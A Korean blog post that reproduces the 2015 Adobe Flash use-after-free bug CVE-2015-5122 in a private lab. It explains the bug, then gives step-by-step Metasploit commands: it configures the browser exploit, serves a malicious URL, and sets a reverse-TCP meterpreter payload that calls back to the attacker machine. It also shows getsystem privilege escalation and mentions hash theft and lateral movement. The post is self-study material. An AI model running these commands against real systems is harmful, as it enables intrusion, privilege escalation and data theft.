HOW TO HACK/Exploitation

[CVE-2015-5122]Adobe Flash Player - Use After Free Remote Memory Corruption Vulnerability 재연

Mr. Rootable 2016. 10. 26. 15:49

# 혼자 공부하면서 알게 된 취약점이나 익스플로잇에 대한 정리 차원에서 작성하는 글입니다.

# 잘못된 부분은 지적해주세요^^


안녕하세요. Mr. Root4ble입니다.

블로그에 Vuln Analysis라는 새로운 카테고리를 추가했습니다.

그저 툴 사용법 등을 작성하는 것보다는 공개된 취약점 및 익스플로잇을 이해하고 직접 재연해봄으로써 배우는 것이 더 많을 것 같단 생각이 들더군요.


첫 재연을 해 볼 취약점은 CVE-2015-5122 (Adobe Flash Player - Use After Free Remote Memory Corruption Vulnerability)입니다.  한물간 취약점이라고 볼 수도 있겠지만 보안패치를 소홀히 하는 사람들이 여전히 있으니 절대 무시할 수 없는 취약점입니다.





1. Overview



지난 해 전 세계 정부기관 등에 RCS라는 해킹툴을 극비리에 판매하던 이탈리아 해킹팀의 자료가 정체불명의 해커에게 유출되어 세상을 떠들썩하게 했었습니다. 이 해커가 해킹팀 해킹방법을 공개하기도 했었죠.

어쨋든, 해킹팀에서 사용했던 취약점 및 해킹툴이 세상에 공개되었고, 이 글에서 다룰 CVE-2015-5122는 이 사건으로 세상에 공개된 취약점 중 하나인 하나입니다. 

제목에서 볼 수 있듯이 보안사고의 단골 프로그램으로 등장하는 adobe flash player상에서 Use-After-Free( 메모리 사용 후 해제) 취약점을 사용하였네요.


CVE Details에서 해당 CVE 코드로 취약점 정보를 살펴봅시다.



ActionScript3의 DisplayObject 클래스에 존재하는 UAF 취약점을 사용했다고 나오네요.

CVSS Score가 10점으로 심각도가 아주 높습니다.

영향받는 소프트웨어는 Adobe Flash Player 11.0.1부터 18.0.0.203까지로 사실상 당시 사용되던 Adobe Flash Player는 거의 모두 이 취약점에 취약했다고 볼 수 있습니다. 


그럼 이 취약점에서 사용되는 기법인 UAF(Use-After-Free) 취약점에 대해 간단히 보시죠.

Use-After-Free 취약점은 힙메모리 영역내에서 객체가 할당받은 공간이 해제된 후 다른 객체에 의해 동일 크기의 메모리 공간이 할당될 때 기존 객체에 할당되었던 공간을 재사용(동일주소 사용)하는 메모리 할당 및 해제 메커니즘을 악용하는 취약점입니다. 즉, 해제된 메모리 위치에 공격자가 원하는 값을 다시 쓸 수 있고, 그 값을 참조하거나 함수포인터로 사용할 경우, Remote Code Execution까지 이어갈 수 있습니다. 대표적인 함수로는 C언어의 malloc(), free()가 있죠. 보통 IE브라우저를 exploit하는데 많이 사용되는 기법으로 알고 있습니다.

제가 참고한 자료는 Reference에도 기재된 씨디팔공님의 블로그에 포스팅되어 있는 "USE_AFTER_FREE_TUTORIAL_by_cd80"라는 글입니다.

궁금하신 분은 링크된 글을 직접 읽어보셔도 좋을 것 같습니다.

 

위의 스크린샷의 상단부분을 보시면 "1 Metasploit modules"라고 나와있네요. 메타스플로잇에 모듈이 존재한다는 의미입니다.

해당 메타스플로잇 모듈을 rapid7에서 찾아봐야죠.



메타스플로잇의 모듈이름은 빨간박스와 같이 exploit/multi/browser/adobe_flash_opaque_background_uaf입니다.

Exploit 코드는 /usr/share/metasploit-framework/modules/exploit/browser/ 디렉토리 안에 Ruby 파일로 있습니다.

죄송하지만, 코드분석은 나름 해보긴 했지만 Ruby와 친하지 않은 관계로 자의적 해석이 많을 것으로 우려되어 Skip하도록 하겠습니다. 하루 빨리 Ruby언어를 익혀야겠습니다. ㅎㅎ


아무튼 이 모듈을 갖고 CVE-2015-5122 취약점 재연을 해보도록 하겠습니다.




2. Demo




재연환경은 아래 표와 같습니다.


 구분

공격자 (Attacker)

희생자 (Victim) 

 IP주소

192.168.0.64 

192.168.0.3 

 OS

Kali Linux 2016.1 

Windows 7 Ultimate K SP1 

사용도구 

Metasploit 

Internet Explorer 8,

Adobe Flash Player 18.0.0.160 


시작해보죠.



Step 1 : KALI 리눅스에서 Metasploit 실행


KALI 리눅스에서 터미널을 열고, 아래 명령어를 차례로 실행하여 Metasploit을 띄웁니다.


# service postgresql start

# msfconsole




Step 2 : CVE-2015-5122 모듈 검색


CVE-2015-5122 취약점의 Metasploit 모듈명은 Rapid7 사이트에서 이미 확인을 했습니다.

exploit/multi/browser/adobe_flash_opaque_background_uaf 였죠!!


search 명령어를 통해 모듈 검색을 해볼까요?


msf> search background_uaf



저희가 찾고 있는 exploit 모듈 딱 하나 검색됩니다. Great 등급에 랭킹되어있습니다. 성공확률이 높다는 얘깁니다. 

적을 무찌를 총을 찾았으니 총을 두 손에 들어야겠죠?

use 명령어를 통해 해당 모듈을 사용토록 설정합니다.


msf> use exploit/mulit/browser/adobe_flash_opaque_background_uaf



위의 스크린샷은 use 명령 후에 show info 명령을 통해 모듈의 상세 정보를 확인해본 것입니다.


Step 3 : 옵션 설정


show info 명령어를 통해 화면에 출력된 내용에서도 옵션을 확인할 수 있지만, 옵션을 확인하는 명령을 통해 다시 한번 확인해보도록 하겠습니다. 아래 명령어를 통해 옵션을 살펴봅시다.


# show options



Required 항목이 yes인 옵션이 필수 설정해야 할 옵션입니다.

필수 설정해야 할 옵션은 SRVHOSTSRVPORT네요.

저는 필수 설정 옵션 중 SRVHOST만 설정하고, SRVPORT는 기본으로 설정되어있는 8080포트를 그대로 사용할겁니다.

그리고, URIPATH를 추가로 설정하도록 하겠습니다.


  • SRVHOST : 리스닝할 로컬 호스트라고 설명되어있습니다. 즉, 희생자의 요청을 리스닝할 공격자 PC의 IP주소입니다.                              저의 경우 칼리리눅스의 IP인 192.168.0.64입니다.

  • SRVPORT : 역시 리스닝하고 있을 공격자 PC의 포트번호입니다. 전 설정되어있는 8080포트를 그대로 둘 겁니다.

  • URIPATH : 악의적인 링크를 만들 경로입니다. 미설정시 Random이네요. 저는 afpexploit 으로 설정할 겁니다.


참고로, Target도 미설정시 Windows(0)으로 자동 셋팅됩니다.


msf exploit(adobe_flash_opaque_background_uaf) > set srvhost 192.168.0.64

srvhost => 192.168.0.64

msf exploit(adobe_flash_opaque_background_uaf) > set uripath afpexploit

uripath => afpexploit


show options 명령어를 통해 옵션이 정상적으로 셋팅되었는지 확인합니다. 



위 스크린샷과 같이 옵션 설정은 잘 했고, 

이제 페이로드를 장전할 차례입니다. 총은 준비가 됐는데 장전이 안된 상태입니다. 탄알 1발 장전!!!

페이로드는 windows/meterpreter/reverse_tcp를 사용할 겁니다.


아래 명령어를 통해 페이로드를 셋팅하고, 페이로드에 필요한 옵션을 확인하여 희생자의 리버스 커넥션 요청을 리스닝할 IP주소(공격자 PC인 칼리의 IP주소)를 셋팅합니다. 포트는 역시 기본 포트인 4444포트를 그대로 사용할 것이므로 전 따로 셋팅하지 않을 겁니다.


msf exploit(adobe_flash_opaque_background_uaf) > set payload windows/meterpreter/reverse_tcp

msf exploit(adobe_flash_opaque_background_uaf) > show options

msf exploit(adobe_flash_opaque_background_uaf) > set lhost 192.168.0.64



페이로드 장전도 끝났습니다. 이제 방아쇠를 당기기만 하면 되겠네요.



Step 4 : Exploit 실행


Step 3에서 옵션을 모두 설정했습니다. 이제 Exploit 모듈을 실행하고, 희생자가 악의적인 링크를 통해 공격자의 PC에 접근하기를 기다리면 됩니다.

아래 명령어를 통해 모듈을 실행합니다.


msf exploit(adobe_flash_opaque_background_uaf) > exploit



보시는 스크린샷과 같이 공격자 PC(칼리)에서 4444번 포트에 핸들러를 실행시키고 리스닝상태로 됩니다.

또한, 희생자를 감염시킬 URL 경로(http://192.168.0.64:8080/afdexploit)가 출력되면서, 이 URL의 웹서비스를 위한 서버가 실행되네요.

이제, 공격자 PC에서는 모든 준비가 끝난 상태입니다.

희생자 PC에서 공격자가 악의적으로 만든 URL로 Internet Explorer 8을 통해 접근해보도록 하겠습니다.

원래는 iframe 삽입 등의 다른 방법을 통해 악의적인 URL로 접속되는 것을 희생자가 인지하지 못하도록 유도해야 하지만 편의를 위해 

희생자PC에서 그냥 Internet Explorer 8을 띄워서 주소입력창에 아래의 URL주소를 입력하도록 하겠습니다.


http://192.168.0.64:8080/afpexploit



그리고는 아래 스크린샷과 같이 희생자가 접근한 URL 뒤로 Random한 문자의 URI(/spplgU)가 추가된 페이지로 자동 접속됩니다.



희생자PC의 브라우저에서는 빈페이지만 열릴 뿐 별다른 반응은 없습니다.

그럼 공격자 PC에서는 이때 무슨 일이 벌어질까요?

아래 스크린샷처럼 희생자 PC(192.168.0.3)의 정보를 수집하여 HTML Reponse를 보내서 악의적인 페이지로 접근을 유도합니다.

그리고는 악의적인 플래시파일(KMcU.swf)을 요청하게 만들고 이 플래시파일을 희생자로 하여금 실행하게 만들어 Adobe Flash Player의 취약점을 공격하여 메터프리터 세션을 얻게 됩니다.

 

메터프리터 세션을 정상적으로 얻었는지 확인해볼까요?

(위의 스크린샷 화면에서 엔터를 치면 다시 msf 프롬포트 환경으로 돌아옵니다.)

아래 명령어를 통해 활성화되어있는 세션을 확인합니다.


msf exploit(adobe_flash_opaque_background_uaf) > sessions -l



Active 세션이 하나 있습니다.

세션의 Id는 2이고, 이 세션을 사용하려면 아래 명령어를 실행합니다.

 

msf exploit(adobe_flash_opaque_background_uaf) > sessions -i 2



메터프리터 환경으로 성공적으로 진입되었네요. 희생자 PC의 내부에 침투한 것이죠.


아래와 같이 현재 메터프리터가 인젝션되어있는 프로세스의 소유자 계정 확인은 getuid 명령을 통해 확인하고,

더 상위권한을 얻기 위해 getsystem 명령으로 SYSTEM 계정으로 권한 상승을 할 수 있습니다.

 

meterpreter > getuid

Server username: admin-PC\admin

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > ifconfig




후속 공격을 통해 해쉬를 탈취하여 윈도우 로그인 패스워드를 크랙할 수 있고, 2차 공격을 위한 악성파일을 희생자 PC에 업로드하거나, 희생자 PC에 존재하는 다른 민감한 파일들을 다운로드 받을 수 있습니다. 또한 내부망에 침투한 상태라 내부 네트워크 스캔을 통해 다른 시스템을 장악할 수 있죠.

이와 같이 비록 메타스플로잇의 힘을 빌렸지만 CVE-2015-5122 취약점을 성공적으로 재연할 수 있었습니다.





3. Reference




<끝>